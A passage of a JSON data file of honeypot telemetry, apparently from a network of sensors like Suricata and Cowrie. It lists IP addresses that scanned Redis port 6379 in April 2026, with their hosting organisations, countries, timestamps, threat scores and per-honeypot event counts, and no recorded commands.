        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T10:31:19.231000+00:00",
        "last_seen_30d": "2026-04-29T10:31:19.231000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "115.191.4.11": {
      "attack_count": 5,
      "first_seen": "2026-04-18T22:26:55.000Z",
      "last_seen": "2026-04-18T22:28:04.530Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-18T22:28:04.530000+00:00",
        "last_seen_30d": "2026-04-18T22:28:04.530000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "120.46.203.161": {
      "attack_count": 5,
      "first_seen": "2026-04-23T13:53:48.000Z",
      "last_seen": "2026-04-23T13:54:48.365Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-23T13:54:48.365000+00:00",
        "last_seen_30d": "2026-04-23T13:54:48.365000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "124.117.192.24": {
      "attack_count": 5,
      "first_seen": "2026-04-16T08:23:36.000Z",
      "last_seen": "2026-04-16T08:25:11.398Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T00:47:51+00:00",
        "last_seen_30d": "2026-04-16T08:25:11.398000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Honeytrap": 1
      }
    },
    "172.104.19.160": {
      "attack_count": 5,
      "first_seen": "2026-04-05T12:36:49.000Z",
      "last_seen": "2026-04-05T12:37:58.292Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T01:03:17.642000+00:00",
        "last_seen_30d": "2026-04-30T22:03:28.445000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193
      }
    },
    "172.234.199.8": {
      "attack_count": 5,
      "first_seen": "2026-04-03T12:39:10.000Z",
      "last_seen": "2026-04-03T12:40:12.451Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 30,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:10:57.729000+00:00",
        "last_seen_30d": "2026-04-30T23:47:01.405000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170
      }
    },
    "193.46.255.151": {
      "attack_count": 5,
      "first_seen": "2026-04-06T09:13:00.000Z",
      "last_seen": "2026-04-06T09:14:08.285Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 305,
        "days_active_30d": 1,
        "ports_targeted_30d": 311,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T08:56:33.313000+00:00",
        "last_seen_30d": "2026-04-06T12:05:26.545000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 305
      }
    },
    "213.171.194.188": {
      "attack_count": 5,
      "first_seen": "2026-04-12T13:26:53.000Z",
      "last_seen": "2026-04-12T13:27:55.857Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T13:27:55.857000+00:00",
        "last_seen_30d": "2026-04-12T13:27:55.857000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "27.152.56.190": {
      "attack_count": 5,
      "first_seen": "2026-04-15T20:44:44.000Z",
      "last_seen": "2026-04-15T20:45:49.861Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-15T20:45:49.861000+00:00",
        "last_seen_30d": "2026-04-15T20:45:49.861000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "45.79.104.47": {
      "attack_count": 5,
      "first_seen": "2026-04-09T12:42:16.000Z",
      "last_seen": "2026-04-09T12:43:19.048Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 30,
        "ports_targeted_30d": 164,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T02:04:17.410000+00:00",
        "last_seen_30d": "2026-04-30T22:08:15.108000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 183
      }
    },
    "47.109.91.234": {
      "attack_count": 5,
      "first_seen": "2026-04-26T08:53:00.000Z",
      "last_seen": "2026-04-26T08:54:01.241Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-26T08:54:01.241000+00:00",
        "last_seen_30d": "2026-04-26T08:54:01.241000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "61.107.201.84": {
      "attack_count": 5,
      "first_seen": "2026-04-19T03:01:20.000Z",
      "last_seen": "2026-04-19T03:02:54.318Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 139648,
      "as_org": "PacketStream Korea",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-19T03:02:54.318000+00:00",
        "last_seen_30d": "2026-04-19T03:02:54.318000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "66.132.186.246": {
      "attack_count": 5,
      "first_seen": "2026-04-30T14:39:58.000Z",
      "last_seen": "2026-04-30T14:41:04.169Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 68.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T22:50:31.619000+00:00",
        "last_seen_30d": "2026-04-30T20:52:38.110000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67
      }
    },
    "66.132.186.250": {
      "attack_count": 5,
      "first_seen": "2026-04-24T11:33:20.000Z",
      "last_seen": "2026-04-24T11:34:24.580Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:32:52.450000+00:00",
        "last_seen_30d": "2026-04-30T21:38:01.470000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Sentrypeer": 1
      }
    },
    "91.196.152.157": {
      "attack_count": 5,
      "first_seen": "2026-04-23T17:27:31.000Z",
      "last_seen": "2026-04-23T17:28:35.286Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 71.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 26,
        "ports_targeted_30d": 110,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:45:16.775000+00:00",
        "last_seen_30d": "2026-04-26T20:23:16.180000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 119,
        "Honeytrap": 13,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "91.231.89.53": {
      "attack_count": 5,
      "first_seen": "2026-04-01T02:34:44.000Z",
      "last_seen": "2026-04-01T02:35:50.466Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 30,
        "ports_targeted_30d": 139,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:35:50.466000+00:00",
        "last_seen_30d": "2026-04-30T14:42:42.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 169,
        "Honeytrap": 41,
        "Dionaea": 1
      }
    },
    "93.123.109.124": {
      "attack_count": 5,
      "first_seen": "2026-04-08T13:22:50.000Z",
      "last_seen": "2026-04-08T13:23:52.880Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1037,
        "days_active_30d": 1,
        "ports_targeted_30d": 1019,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T13:07:25.563000+00:00",
        "last_seen_30d": "2026-04-08T17:03:08.593000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1037
      }
    },
    "176.65.148.150": {
      "attack_count": 4,
      "first_seen": "2026-04-25T03:25:47.000Z",
      "last_seen": "2026-04-25T03:27:24.214Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 67.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T18:59:49.942000+00:00",
        "last_seen_30d": "2026-04-30T04:28:09.023000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54
      }
    },
    "184.105.247.247": {
      "attack_count": 4,
      "first_seen": "2026-04-02T13:52:06.000Z",
      "last_seen": "2026-04-02T13:53:15.361Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 29,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T08:54:37.424000+00:00",
        "last_seen_30d": "2026-04-29T15:53:09.783000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 3
      }
    },
    "185.156.73.180": {
      "attack_count": 4,
      "first_seen": "2026-04-01T14:52:04.000Z",
      "last_seen": "2026-04-01T14:53:14.192Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 30,
        "ports_targeted_30d": 160,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T07:58:36.220000+00:00",
        "last_seen_30d": "2026-04-30T23:24:38.642000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173
      }
    },
    "64.62.197.65": {
      "attack_count": 4,
      "first_seen": "2026-04-12T12:20:43.000Z",
      "last_seen": "2026-04-12T12:21:50.513Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 30,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:53:54.370000+00:00",
        "last_seen_30d": "2026-04-30T13:44:25.009000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 3,
        "H0neytr4p": 2
      }
    },
    "66.97.45.164": {
      "attack_count": 4,
      "first_seen": "2026-04-05T15:55:37.000Z",
      "last_seen": "2026-04-05T15:56:44.953Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Rosario",
      "asn": 27823,
      "as_org": "Dattatec.com",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T14:50:19.820000+00:00",
        "last_seen_30d": "2026-04-05T19:07:41.975000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17
      }
    },
    "88.210.63.69": {
      "attack_count": 4,
      "first_seen": "2026-04-27T13:15:09.000Z",
      "last_seen": "2026-04-27T13:16:11.292Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 30,
        "ports_targeted_30d": 183,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T12:19:15.397000+00:00",
        "last_seen_30d": "2026-04-30T23:11:44.373000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196
      }
    },
    "128.14.236.128": {
      "attack_count": 56,
      "first_seen": "2026-04-18T05:47:48.000Z",
      "last_seen": "2026-04-18T06:13:26.572Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T14:10:04.701000+00:00",
        "last_seen_30d": "2026-04-30T17:51:44.789000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 171,
        "Honeytrap": 123,
        "Redishoneypot": 14
      }
    },
    "109.104.154.181": {
      "attack_count": 47,
      "first_seen": "2026-04-24T13:54:17.000Z",
      "last_seen": "2026-04-26T23:10:13.399Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 136258,
      "as_org": "BrainStorm Network, Inc",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 4,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-24T01:35:40.240000+00:00",
        "last_seen_30d": "2026-04-27T07:09:55.451000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 441,
        "Honeytrap": 124,
        "Sentrypeer": 123,
        "Cowrie": 44,
        "Redishoneypot": 16,
        "Dionaea": 5,
        "ElasticPot": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "160.119.76.60": {
      "attack_count": 35,
      "first_seen": "2026-04-23T19:31:54.000Z",
      "last_seen": "2026-04-23T19:35:37.481Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1447,
        "days_active_30d": 1,
        "ports_targeted_30d": 147,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-23T19:28:18+00:00",
        "last_seen_30d": "2026-04-23T20:15:46.256000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 947,
        "Honeytrap": 401,
        "Dionaea": 27,
        "Miniprint": 16,
        "Cowrie": 13,
        "Redishoneypot": 8,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Tanner": 5,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "81.70.2.239": {
      "attack_count": 32,
      "first_seen": "2026-04-06T03:28:26.000Z",
      "last_seen": "2026-04-29T21:31:08.712Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T03:29:34.317000+00:00",
        "last_seen_30d": "2026-04-30T12:36:14.179000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "65.49.1.24": {
      "attack_count": 31,
      "first_seen": "2026-04-10T07:37:45.000Z",
      "last_seen": "2026-04-10T07:40:37.315Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T09:05:24+00:00",
        "last_seen_30d": "2026-04-30T14:22:22.509000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 180,
        "Honeytrap": 69,
        "Cowrie": 15,
        "Redishoneypot": 11,
        "Dionaea": 6,
        "ConPot": 2,
        "ElasticPot": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "80.94.92.13": {
      "attack_count": 28,
      "first_seen": "2026-04-11T12:36:08.000Z",
      "last_seen": "2026-04-12T19:38:59.050Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3198,
        "days_active_30d": 3,
        "ports_targeted_30d": 1017,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-11T11:56:34.230000+00:00",
        "last_seen_30d": "2026-04-13T00:17:33.403000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2209,
        "Honeytrap": 936,
        "Dionaea": 10,
        "ConPot": 8,
        "Redishoneypot": 8,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Tanner": 4,
        "Dicompot": 2,
        "Honeyaml": 2,
        "Miniprint": 1
      }
    },
    "103.21.150.246": {
      "attack_count": 27,
      "first_seen": "2026-04-05T10:20:12.000Z",
      "last_seen": "2026-04-10T15:03:50.722Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38732,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T10:20:12+00:00",
        "last_seen_30d": "2026-04-10T15:03:50.722000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "20.171.8.86": {
      "attack_count": 23,
      "first_seen": "2026-04-08T05:51:57.000Z",
      "last_seen": "2026-04-08T05:53:38.041Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 18.3,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 22,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T05:19:42.159000+00:00",
        "last_seen_30d": "2026-04-22T21:04:41.775000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Redishoneypot": 5,
        "Dionaea": 4,
        "Honeytrap": 4
      }
    },
    "220.248.173.137": {
      "attack_count": 22,
